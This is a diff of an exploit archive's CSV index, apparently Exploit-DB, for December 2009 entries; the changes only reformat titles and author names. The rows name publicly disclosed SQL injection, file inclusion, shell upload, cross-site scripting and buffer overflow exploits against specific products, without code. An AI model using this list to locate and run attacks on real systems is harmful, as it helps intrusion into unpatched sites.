 10630,platforms/multiple/webapps/10630.txt,"ImageVue 2.0 Remote Admin Login Exploit",2009-12-24,Sora,multiple,webapps,0
 10632,platforms/php/webapps/10632.pl,"Wbb3 Blind SQL Injection Vulnerability",2009-12-24,molli,php,webapps,0
 10633,platforms/php/webapps/10633.txt,"Pragyan CMS 2.6.4 (Search.php) Remote File Inclusion Vulnerability",2009-12-24,Mr.SeCreT,php,webapps,0
-10634,platforms/linux/dos/10634.txt,"Picpuz  <=2.1.1 Buffer Overflow DoS/PoC",2009-12-24,sandman,linux,dos,0
+10634,platforms/linux/dos/10634.txt,"Picpuz <= 2.1.1 - Buffer Overflow DoS/PoC",2009-12-24,sandman,linux,dos,0
 10637,platforms/asp/webapps/10637.txt,"Web Wiz NewsPad Database Disclosure Vulnerability",2009-12-24,"ViRuSMaN ",asp,webapps,0
-10638,platforms/asp/webapps/10638.txt,"Web Wiz Forums v9.64 Database Disclosure Vulnerability",2009-12-24,ViRuSMaN,asp,webapps,0
+10638,platforms/asp/webapps/10638.txt,"Web Wiz Forums 9.64 - Database Disclosure Vulnerability",2009-12-24,ViRuSMaN,asp,webapps,0
 10639,platforms/asp/webapps/10639.txt,"Snitz Forums 2000 Database Disclosure Vulnerability",2009-12-24,ViRuSMaN,asp,webapps,0
 10640,platforms/php/webapps/10640.txt,"Joomla Component com_schools SQL injection",2009-12-24,Mr.tro0oqy,php,webapps,0
 10642,platforms/windows/local/10642.rb,"Exploit Easy RM to MP3 2.7.3.700 - Ruby",2009-12-24,"John Babio",windows,local,0
-10645,platforms/php/webapps/10645.txt,"PBX Phone System v2.x - Multiple Vulnerabilities",2009-12-24,Global-Evolution,php,webapps,0
+10645,platforms/php/webapps/10645.txt,"PBX Phone System 2.x - Multiple Vulnerabilities",2009-12-24,Global-Evolution,php,webapps,0
 10646,platforms/windows/local/10646.c,"CastRipper (.M3U) Stack BOF WinXP SP2",2009-12-24,bibi-info,windows,local,0
 10647,platforms/php/webapps/10647.txt,"VideoIsland Remote shell upload Vulnerability",2009-12-24,RENO,php,webapps,0
 10648,platforms/php/webapps/10648.txt,"cms -db <= v0.7.13 Multiple Vulnerabilities",2009-12-25,cp77fk4r,php,webapps,0
 10649,platforms/windows/webapps/10649.html,"SoftCab Sound Converter ActiveX Insecure Method Exploit (sndConverter.ocx)",2009-12-25,"ThE g0bL!N",windows,webapps,0
 10650,platforms/windows/dos/10650.pl,"jetAudio v 8.0.0.0 Basic Local Crash PoC",2009-12-25,"D3V!L FUCKER",windows,dos,0
 10651,platforms/windows/dos/10651.pl,"JetAudio Basic 7.5.5.25 .asx Buffer Overflow PoC",2009-12-25,"D3V!L FUCKER",windows,dos,0
-10652,platforms/php/webapps/10652.txt,"asaher pro 1.0  RFI Vulnerability",2009-12-25,indoushka,php,webapps,0
-10653,platforms/php/webapps/10653.txt,"Winn Guestbook V2.4, Winn.ws Cross Site Scripting Vulnerability",2009-12-25,indoushka,php,webapps,0
-10654,platforms/php/webapps/10654.txt,"APHP ImgList 1.2.2 Cross Site Scripting Vulnerability",2009-12-25,indoushka,php,webapps,0
-10655,platforms/php/webapps/10655.txt,"Best Top List Cross Site Scripting Vulnerability",2009-12-25,indoushka,php,webapps,0
+10652,platforms/php/webapps/10652.txt,"asaher pro 1.0 RFI Vulnerability",2009-12-25,"indoushka salah el ddine",php,webapps,0
+10653,platforms/php/webapps/10653.txt,"Winn Guestbook 2.4, Winn.ws - Cross Site Scripting Vulnerability",2009-12-25,"indoushka salah el ddine",php,webapps,0
+10654,platforms/php/webapps/10654.txt,"APHP ImgList 1.2.2 Cross Site Scripting Vulnerability",2009-12-25,"indoushka salah el ddine",php,webapps,0
+10655,platforms/php/webapps/10655.txt,"Best Top List Cross Site Scripting Vulnerability",2009-12-25,"indoushka salah el ddine",php,webapps,0
 10656,platforms/php/webapps/10656.txt,"B2B Trading Marketplace SQL Injection Vulnerability",2009-12-25,"AnGrY BoY",php,webapps,0
-10658,platforms/php/webapps/10658.txt,"caricatier 2.5 Cross Site Scripting Vulnerability",2009-12-25,indoushka,php,webapps,0
-10660,platforms/php/webapps/10660.txt,"barbo91 uploads Upload Shell Vulnerability",2009-12-25,indoushka,php,webapps,0
-10661,platforms/php/webapps/10661.txt,"Ads Electronic Al-System Cross Site Scripting Vulnerability",2009-12-25,indoushka,php,webapps,0
+10658,platforms/php/webapps/10658.txt,"caricatier 2.5 Cross Site Scripting Vulnerability",2009-12-25,"indoushka salah el ddine",php,webapps,0
+10660,platforms/php/webapps/10660.txt,"barbo91 uploads Upload Shell Vulnerability",2009-12-25,"indoushka salah el ddine",php,webapps,0
+10661,platforms/php/webapps/10661.txt,"Ads Electronic Al-System Cross Site Scripting Vulnerability",2009-12-25,"indoushka salah el ddine",php,webapps,0
 10664,platforms/windows/local/10664.py,"ReGet Deluxe 5.2 (build 330) Stack Overflow Exploit",2009-12-25,Encrypt3d.M!nd,windows,local,0
 10665,platforms/php/webapps/10665.txt,"Jevonweb Guestbook Remote Admin Access Exploit",2009-12-25,Sora,php,webapps,0
 10666,platforms/php/webapps/10666.txt,"Simple PHP Guestbook Remote Admin Access Exploit",2009-12-25,Sora,php,webapps,0
-10667,platforms/php/webapps/10667.txt,"paFileDB 3.1 Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
-10668,platforms/php/webapps/10668.txt,"phpPowerCards 2.0 Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
-10669,platforms/php/webapps/10669.txt,"Squito Gallery 1.0 - Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
-10670,platforms/php/webapps/10670.txt,"vCard PRO 3.1 Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
+10667,platforms/php/webapps/10667.txt,"paFileDB 3.1 Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10668,platforms/php/webapps/10668.txt,"phpPowerCards 2.0 Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10669,platforms/php/webapps/10669.txt,"Squito Gallery 1.0 - Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10670,platforms/php/webapps/10670.txt,"vCard PRO 3.1 Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
 10671,platforms/php/webapps/10671.txt,"Info Fisier 1.0 Remote File Upload Vulnerability",2009-12-26,"wlhaan hacker",php,webapps,0
-10672,platforms/php/webapps/10672.txt,"kandalf upper 0.1 Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10673,platforms/php/webapps/10673.txt,"DieselScripts jokes Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
-10674,platforms/php/webapps/10674.txt,"DieselScripts jokes Backup Vulnerability",2009-12-26,indoushka,php,webapps,0
-10675,platforms/php/webapps/10675.txt,"webring Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
-10677,platforms/php/webapps/10677.txt,"PHPShop Version 0.6 by pass Vulnerability",2009-12-26,"indoushka ",php,webapps,0
-10679,platforms/php/webapps/10679.txt,"quiz Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
-10680,platforms/php/webapps/10680.txt,"E-Pay  RFI Vulnerability",2009-12-26,indoushka,php,webapps,0
-10681,platforms/php/webapps/10681.txt,"Saibal Download Area 2.0 - Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10682,platforms/php/webapps/10682.txt,"Dros  RFI Vulnerability",2009-12-26,indoushka,php,webapps,0
-10683,platforms/php/webapps/10683.txt,"TomatoCart Backup Vulnerability",2009-12-26,indoushka,php,webapps,0
-10684,platforms/php/webapps/10684.txt,"Upload-Point 1.6 Beta Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10685,platforms/php/webapps/10685.txt,"Best Top List v2.11 Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10686,platforms/asp/webapps/10686.txt,"CactuShop v6  Database Disclosure Vulnerability",2009-12-26,LionTurk,asp,webapps,0
-10687,platforms/php/webapps/10687.txt,"SaphpLesson 4.0 food  RFI Vulnerability",2009-12-26,indoushka,php,webapps,0
-10688,platforms/php/webapps/10688.txt,"FlatPress Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
-10689,platforms/php/webapps/10689.txt,"file upload Ar Version Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10690,platforms/php/webapps/10690.txt,"IMG2ASCII Cross Site Scripting Vulnerability",2009-12-26,"indoushka ",php,webapps,0
-10691,platforms/php/webapps/10691.txt,"EZPX My photoblog v1.2 Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10692,platforms/php/webapps/10692.txt,"FreeForum 1.7 Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
-10693,platforms/php/webapps/10693.txt,"FreeForum 1.7 RFI Vulnerability",2009-12-26,indoushka,php,webapps,0
-10694,platforms/php/webapps/10694.txt,"ES Simple Uploader v 1.1 Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10695,platforms/php/webapps/10695.txt,"Lizard Cart Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10696,platforms/php/webapps/10696.txt,"epay  Backup Vulnerability",2009-12-26,indoushka,php,webapps,0
-10697,platforms/php/webapps/10697.txt,"e-pay 1.55 RFI Vulnerability",2009-12-26,indoushka,php,webapps,0
-10698,platforms/php/webapps/10698.txt,"e-cart 3.0 Multiple Vulnerabilities",2009-12-26,indoushka,php,webapps,0
-10699,platforms/php/webapps/10699.txt,"dB Masters Multimedia Insecure Cookie Handling Vulnerability",2009-12-26,indoushka,php,webapps,0
-10700,platforms/php/webapps/10700.txt,"Image File Upload Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10701,platforms/php/webapps/10701.txt,"HowMany V2.6 RFI Vulnerability",2009-12-26,indoushka,php,webapps,0
-10703,platforms/php/webapps/10703.txt,"kooora v 3.0 AR  Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
-10704,platforms/php/webapps/10704.txt,"Mega Upload Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10705,platforms/php/webapps/10705.txt,"Gallery v2.3 RFI Vulnerability",2009-12-26,indoushka,php,webapps,0
-10706,platforms/php/webapps/10706.txt,"MyCart shopping cart Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10707,platforms/php/webapps/10707.txt,"oscommerce <= 2.2rc2a Bypass/Create and Download Backup Vulnerability",2009-12-26,indoushka,php,webapps,0
-10708,platforms/php/webapps/10708.txt,"MyShoutPro v1.2 Final Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
+10672,platforms/php/webapps/10672.txt,"kandalf upper 0.1 Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10673,platforms/php/webapps/10673.txt,"DieselScripts jokes Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10674,platforms/php/webapps/10674.txt,"DieselScripts jokes Backup Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10675,platforms/php/webapps/10675.txt,"webring Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10677,platforms/php/webapps/10677.txt,"PHPShop Version 0.6 by pass Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10679,platforms/php/webapps/10679.txt,"quiz Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10680,platforms/php/webapps/10680.txt,"E-Pay RFI Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10681,platforms/php/webapps/10681.txt,"Saibal Download Area 2.0 - Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10682,platforms/php/webapps/10682.txt,"Dros RFI Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10683,platforms/php/webapps/10683.txt,"TomatoCart Backup Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10684,platforms/php/webapps/10684.txt,"Upload-Point 1.6 Beta Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10685,platforms/php/webapps/10685.txt,"Best Top List 2.11 - Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10686,platforms/asp/webapps/10686.txt,"CactuShop 6.0 - Database Disclosure Vulnerability",2009-12-26,LionTurk,asp,webapps,0
+10687,platforms/php/webapps/10687.txt,"SaphpLesson 4.0 food RFI Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10688,platforms/php/webapps/10688.txt,"FlatPress Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10689,platforms/php/webapps/10689.txt,"file upload Ar Version Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10690,platforms/php/webapps/10690.txt,"IMG2ASCII Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10691,platforms/php/webapps/10691.txt,"EZPX My photoblog 1.2 - Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10692,platforms/php/webapps/10692.txt,"FreeForum 1.7 Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10693,platforms/php/webapps/10693.txt,"FreeForum 1.7 RFI Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10694,platforms/php/webapps/10694.txt,"ES Simple Uploader v 1.1 Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10695,platforms/php/webapps/10695.txt,"Lizard Cart Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10696,platforms/php/webapps/10696.txt,"epay Backup Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10697,platforms/php/webapps/10697.txt,"e-pay 1.55 RFI Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10698,platforms/php/webapps/10698.txt,"e-cart 3.0 Multiple Vulnerabilities",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10699,platforms/php/webapps/10699.txt,"dB Masters Multimedia Insecure Cookie Handling Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10700,platforms/php/webapps/10700.txt,"Image File Upload Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10701,platforms/php/webapps/10701.txt,"HowMany 2.6 - RFI Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10703,platforms/php/webapps/10703.txt,"kooora v 3.0 AR Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10704,platforms/php/webapps/10704.txt,"Mega Upload Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10705,platforms/php/webapps/10705.txt,"Gallery 2.3 - RFI Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10706,platforms/php/webapps/10706.txt,"MyCart shopping cart Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10707,platforms/php/webapps/10707.txt,"oscommerce <= 2.2rc2a Bypass/Create and Download Backup Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10708,platforms/php/webapps/10708.txt,"MyShoutPro 1.2 Final - Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
 10710,platforms/php/webapps/10710.txt,"Green Desktiny - Customer Support Helpdesk SQL injection vulnerability",2009-12-26,kaMtiEz,php,webapps,0
-10711,platforms/php/webapps/10711.txt,"PHPAUCTION Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
-10712,platforms/php/webapps/10712.txt,"Nuked-Klan SP4 RFI Vulnerability",2009-12-26,indoushka,php,webapps,0
+10711,platforms/php/webapps/10711.txt,"PHPAUCTION Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10712,platforms/php/webapps/10712.txt,"Nuked-Klan SP4 RFI Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
 10713,platforms/asp/webapps/10713.txt,"Esinti Web Design Gold Defter Database Disclosure Vulnerability",2009-12-26,LionTurk,asp,webapps,0
 10715,platforms/windows/remote/10715.rb,"HP Application Recovery Manager (OmniInet.exe) Buffer Overflow",2009-12-26,EgiX,windows,remote,5555
 10716,platforms/php/webapps/10716.txt,"Datenator 0.3.0 (event.php id) SQL Injection",2009-12-26,The_HuliGun,php,webapps,0
-10717,platforms/php/webapps/10717.txt,"DBHCMS - Web Content Management System v1.1.4 RFI Vulnerability",2009-12-26,Gamoscu,php,webapps,0
-10718,platforms/php/webapps/10718.txt,"ta3arof [dating] Script Arabic Version Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10719,platforms/php/webapps/10719.txt,"PHP Uploader Downloader v2.0 Upload Shell Vulnerability",2009-12-26,indoushka,php,webapps,0
-10720,platforms/php/webapps/10720.txt,"PHP Football Version : 1.0 Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
-10721,platforms/php/webapps/10721.txt,"Nuked-Klan 1.7.7 RFI Vulnerability",2009-12-26,indoushka,php,webapps,0
-10722,platforms/php/webapps/10722.txt,"PHP Uploader Downloader v2.0 Cross Site Scripting Vulnerability",2009-12-26,indoushka,php,webapps,0
+10717,platforms/php/webapps/10717.txt,"DBHCMS - Web Content Management System 1.1.4 - RFI Vulnerability",2009-12-26,Gamoscu,php,webapps,0
+10718,platforms/php/webapps/10718.txt,"ta3arof [dating] Script Arabic Version Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10719,platforms/php/webapps/10719.txt,"PHP Uploader Downloader 2.0 - Upload Shell Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10720,platforms/php/webapps/10720.txt,"PHP Football Version : 1.0 Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10721,platforms/php/webapps/10721.txt,"Nuked-Klan 1.7.7 RFI Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10722,platforms/php/webapps/10722.txt,"PHP Uploader Downloader 2.0 - Cross Site Scripting Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
 10725,platforms/php/webapps/10725.txt,"Nuke Remote SQL Injection Vulnerability",2009-12-27,FormatXFormaT,php,webapps,0
-10726,platforms/php/webapps/10726.txt,"Info Fisier v1.0  SQL Injection Vulnerability",2009-12-27,"AnGrY BoY",php,webapps,0
+10726,platforms/php/webapps/10726.txt,"Info Fisier 1.0 - SQL Injection Vulnerability",2009-12-27,"AnGrY BoY",php,webapps,0
 10727,platforms/php/webapps/10727.txt,"Smart PHP Uploader 1.0 Remote File Upload Vulnerability",2009-12-27,Phenom,php,webapps,0
 10728,platforms/php/webapps/10728.txt,"Info Fisier 1.0 multiple Vulnerabilities",2009-12-27,kaozc9,php,webapps,0
 10729,platforms/php/webapps/10729.txt,"Joomla Component com_adagency",2009-12-27,Fl0riX,php,webapps,0
 10730,platforms/php/webapps/10730.txt,"Joomla Component com_intuit LFI Vulnerability",2009-12-27,Fl0riX,php,webapps,0
 10731,platforms/php/webapps/10731.txt,"Joomla Component MemoryBook 1.2 Multiple Vulnerabilities",2009-12-27,jdc,php,webapps,0
-10732,platforms/php/webapps/10732.txt,"PHP upload - (unijimpe)  Remote File Upload Vulnerability",2009-12-27,"wlhaan hacker",php,webapps,0
+10732,platforms/php/webapps/10732.txt,"PHP upload - (unijimpe) Remote File Upload Vulnerability",2009-12-27,"wlhaan hacker",php,webapps,0
 10733,platforms/php/webapps/10733.txt,"com_webcamxp Cross Site Scripting Vulnerabilities",2009-12-27,Pyske,php,webapps,0
 10734,platforms/php/webapps/10734.txt,"Joomla Component com_beeheard Blind SQL injection Vulnerability",2009-12-27,FL0RiX,php,webapps,0
 10735,platforms/php/webapps/10735.txt,"com_jm-recommend Cross Site Scripting Vulnerabilities",2009-12-27,Pyske,php,webapps,0
@@ -9955,42 +9955,42 @@ id,file,description,date,author,platform,type,port
 10740,platforms/php/webapps/10740.txt,"Joomla Component com_trabalhe_conosco Cross Site Scripting Vulnerabilities",2009-12-27,Pyske,php,webapps,0
 10741,platforms/php/webapps/10741.txt,"Cybershade CMS 0.2 Remote File Inclusion Vulnerability",2009-12-27,Mr.SeCreT,php,webapps,0
 10742,platforms/php/webapps/10742.txt,"Joomla Component com_dhforum SQL Injection Vulnerability",2009-12-27,ViRuSMaN,php,webapps,0
-10743,platforms/php/webapps/10743.txt,"phPay V2.2a Backup Vulnerability",2009-12-26,indoushka,php,webapps,0
-10744,platforms/windows/local/10744.rb,"Media Jukebox 8.0.400 (seh) Buffer Overflow Exploit  (meta)",2009-12-27,dijital1,windows,local,0
+10743,platforms/php/webapps/10743.txt,"phPay 2.2a - Backup Vulnerability",2009-12-26,"indoushka salah el ddine",php,webapps,0
+10744,platforms/windows/local/10744.rb,"Media Jukebox 8.0.400 (seh) Buffer Overflow Exploit (meta)",2009-12-27,dijital1,windows,local,0
 10745,platforms/windows/local/10745.c,"Mini-stream ripper => 3.0.1.1 (.pls) Local Universal Buffer Overflow Exploit",2009-12-27,mr_me,windows,local,0
 10747,platforms/windows/local/10747.py,"Mini-Stream Exploit for Windows XP SP2 and SP3",2009-12-27,dijital1,windows,local,0
 10748,platforms/windows/local/10748.rb,"Mini-Stream 3.0.1.1 Buffer Overflow Exploit (Meta)",2009-12-27,dijital1,windows,local,0
 10750,platforms/php/webapps/10750.txt,"Mambo Component Material Suche 1.0 SQL injection Vulnerability",2009-12-27,Gamoscu,php,webapps,0
-10751,platforms/php/webapps/10751.txt,"Koobi Pro v6.1 gallery (img_id)",2009-12-27,BILGE_KAGAN,php,webapps,0
-10752,platforms/multiple/webapps/10752.txt,"Yonja Remote File Upload Vulnerability",2009-12-28,indoushka,multiple,webapps,80
-10753,platforms/multiple/webapps/10753.txt,"ASP Simple Blog version 3.0 Upload shell Vulnerability",2009-12-28,indoushka,multiple,webapps,80
+10751,platforms/php/webapps/10751.txt,"Koobi Pro 6.1 - Gallery (img_id)",2009-12-27,BILGE_KAGAN,php,webapps,0
+10752,platforms/multiple/webapps/10752.txt,"Yonja Remote File Upload Vulnerability",2009-12-28,"indoushka salah el ddine",multiple,webapps,80
+10753,platforms/multiple/webapps/10753.txt,"ASP Simple Blog 3.0 - Upload shell Vulnerability",2009-12-28,"indoushka salah el ddine",multiple,webapps,80
 10754,platforms/multiple/webapps/10754.txt,"Joomla Component com_if_nexus Remote File Include",2009-12-28,Fl0riX,multiple,webapps,80
 10755,platforms/linux/webapps/10755.txt,"egegen turkish script SQL Injection Vulnerability",2009-12-28,FormatXFormaT,linux,webapps,80
-10756,platforms/linux/webapps/10756.txt,"MySimpleFileUploader V1.6 Upload Shell Vulnerability",2009-12-28,FormatXFormaT,linux,webapps,80
+10756,platforms/linux/webapps/10756.txt,"MySimpleFileUploader 1.6 - Upload Shell Vulnerability",2009-12-28,FormatXFormaT,linux,webapps,80
 10757,platforms/linux/webapps/10757.txt,"PHP Forum ohne My SQL Remote File Upload Vulnerability",2009-12-28,"wlhaan hacker",linux,webapps,80
 10758,platforms/php/webapps/10758.txt,"Calendar Express 2.0 SQL Injection Vulnerability",2009-12-28,Baybora,php,webapps,0
-10759,platforms/windows/local/10759.pl,"M.J.M. Quick Player v1.2 Stack BOF",2009-12-28,corelanc0d3r,windows,local,0
+10759,platforms/windows/local/10759.pl,"M.J.M. Quick Player 1.2 - Stack BOF",2009-12-28,corelanc0d3r,windows,local,0
 10760,platforms/php/webapps/10760.txt,"Joomla Component com_calendario Blind SQL injection Vulnerability",2009-12-28,Mr.tro0oqy,php,webapps,0
 10762,platforms/php/webapps/10762.txt,"Sunbyte e-Flower SQL Injection Vulneralbility",2009-12-28,"Don Tukulesto",php,webapps,0
 10763,platforms/php/webapps/10763.txt,"Dren's PHP Uploader Remote File Upload Vulnerability",2009-12-28,"Cyb3r IntRue",php,webapps,0
 10765,platforms/windows/remote/10765.py,"BigAnt Server 2.52 SEH (0day)",2009-12-29,Lincoln,windows,remote,6660
-10767,platforms/asp/webapps/10767.txt,"jgbbs-3.0beta1 DB Download Vulnerability",2009-12-29,indoushka,asp,webapps,0
-10770,platforms/asp/webapps/10770.txt,"PSnews DB Download Vulnerability",2009-12-29,indoushka,asp,webapps,0
-10771,platforms/asp/webapps/10771.txt,"QuickEStore 7.9 - SQL Injection and Path Diclosure Download Vulnerability",2009-12-29,indoushka,asp,webapps,0
-10772,platforms/asp/webapps/10772.txt,"AspBB - Active Server Page Bulletin Board DB Download Vulnerability",2009-12-29,indoushka,asp,webapps,0
-10773,platforms/asp/webapps/10773.txt,"Futility Forum 1.0 Revamp DB Download Vulnerability",2009-12-29,indoushka,asp,webapps,0
-10774,platforms/asp/webapps/10774.txt,"htmlArea v2.03 DB Download Vulnerability",2009-12-29,indoushka,asp,webapps,0
-10775,platforms/asp/webapps/10775.txt,"Uguestbook DB Download Vulnerability",2009-12-29,indoushka,asp,webapps,0
-10776,platforms/asp/webapps/10776.txt,"BaalASP 2.0 DB Download Vulnerability",2009-12-29,indoushka,asp,webapps,0
-10777,platforms/asp/webapps/10777.txt,"Fully Functional ASP Forum 1.0 DB Download Vulnerability",2009-12-29,indoushka,asp,webapps,0
-10778,platforms/asp/webapps/10778.txt,"makit news/blog poster v3.1 DB Download Vulnerability",2009-12-29,indoushka,asp,webapps,0
-10779,platforms/php/webapps/10779.txt,"DirectAdmin v1.34.0 XSRF Create Administrator Vulnerability",2009-12-29,SecurityRules,php,webapps,0
-10780,platforms/asp/webapps/10780.txt,"ASP Battle Blog DB Download Vulnerability",2009-12-29,indoushka,asp,webapps,0
-10781,platforms/php/webapps/10781.txt,"ActiveKB RFI Vulnerability",2009-12-29,indoushka,php,webapps,0
-10782,platforms/windows/local/10782.pl,"Mini-stream Ripper v3.0.1.1 .pls Universal BOF (Perl)",2009-12-29,Jacky,windows,local,0
-10784,platforms/php/webapps/10784.txt,"eStore v1.0.2 SQL Injection Vulnerability",2009-12-29,R3VAN_BASTARD,php,webapps,0
-10786,platforms/windows/local/10786.py,"Soritong v1.0 Universal BOF (Python)",2009-12-29,Jacky,windows,local,0
-10787,platforms/windows/local/10787.py,"Mini-stream Ripper v3.0.1.1 .pls Universal BOF (Python)",2009-12-29,Jacky,windows,local,0
+10767,platforms/asp/webapps/10767.txt,"jgbbs-3.0beta1 DB Download Vulnerability",2009-12-29,"indoushka salah el ddine",asp,webapps,0
+10770,platforms/asp/webapps/10770.txt,"PSnews DB Download Vulnerability",2009-12-29,"indoushka salah el ddine",asp,webapps,0
+10771,platforms/asp/webapps/10771.txt,"QuickEStore 7.9 - SQL Injection and Path Diclosure Download Vulnerability",2009-12-29,"indoushka salah el ddine",asp,webapps,0
+10772,platforms/asp/webapps/10772.txt,"AspBB - Active Server Page Bulletin Board DB Download Vulnerability",2009-12-29,"indoushka salah el ddine",asp,webapps,0
+10773,platforms/asp/webapps/10773.txt,"Futility Forum 1.0 Revamp DB Download Vulnerability",2009-12-29,"indoushka salah el ddine",asp,webapps,0
+10774,platforms/asp/webapps/10774.txt,"htmlArea 2.03 - DB Download Vulnerability",2009-12-29,"indoushka salah el ddine",asp,webapps,0
+10775,platforms/asp/webapps/10775.txt,"Uguestbook DB Download Vulnerability",2009-12-29,"indoushka salah el ddine",asp,webapps,0
+10776,platforms/asp/webapps/10776.txt,"BaalASP 2.0 DB Download Vulnerability",2009-12-29,"indoushka salah el ddine",asp,webapps,0
+10777,platforms/asp/webapps/10777.txt,"Fully Functional ASP Forum 1.0 DB Download Vulnerability",2009-12-29,"indoushka salah el ddine",asp,webapps,0
+10778,platforms/asp/webapps/10778.txt,"makit news/blog poster 3.1 - DB Download Vulnerability",2009-12-29,"indoushka salah el ddine",asp,webapps,0
+10779,platforms/php/webapps/10779.txt,"DirectAdmin 1.34.0 - CSRF Create Administrator Vulnerability",2009-12-29,SecurityRules,php,webapps,0
+10780,platforms/asp/webapps/10780.txt,"ASP Battle Blog DB Download Vulnerability",2009-12-29,"indoushka salah el ddine",asp,webapps,0
+10781,platforms/php/webapps/10781.txt,"ActiveKB RFI Vulnerability",2009-12-29,"indoushka salah el ddine",php,webapps,0
+10782,platforms/windows/local/10782.pl,"Mini-stream Ripper 3.0.1.1 - (.pls) Universal BOF (Perl)",2009-12-29,Jacky,windows,local,0
+10784,platforms/php/webapps/10784.txt,"eStore 1.0.2 - SQL Injection Vulnerability",2009-12-29,R3VAN_BASTARD,php,webapps,0
+10786,platforms/windows/local/10786.py,"Soritong 1.0 - Universal BOF (Python)",2009-12-29,Jacky,windows,local,0
+10787,platforms/windows/local/10787.py,"Mini-stream Ripper 3.0.1.1 - (.pls) Universal BOF (Python)",2009-12-29,Jacky,windows,local,0
 10788,platforms/php/webapps/10788.txt,"Helpdesk Pilot Knowledge Base SQL injection vulnerability",2009-12-29,kaMtiEz,php,webapps,0
 10789,platforms/php/webapps/10789.txt,"Joomla compnent com_noticia cross site scripting",2009-12-29,Mr.tro0oqy,php,webapps,0
 10790,platforms/php/webapps/10790.txt,"Joomla Component com_kkcontent Blind SQL Injection Vulnerability",2009-12-29,Pyske,php,webapps,0
@@ -10000,25 +10000,25 @@ id,file,description,date,author,platform,type,port
 10794,platforms/asp/webapps/10794.txt,"WEB Calendar Remote Database Disclosure Vulnerability",2009-12-30,RENO,asp,webapps,0
 10795,platforms/asp/webapps/10795.txt,"ezguestbook Remote Database Disclosure Vulnerability",2009-12-30,RENO,asp,webapps,0
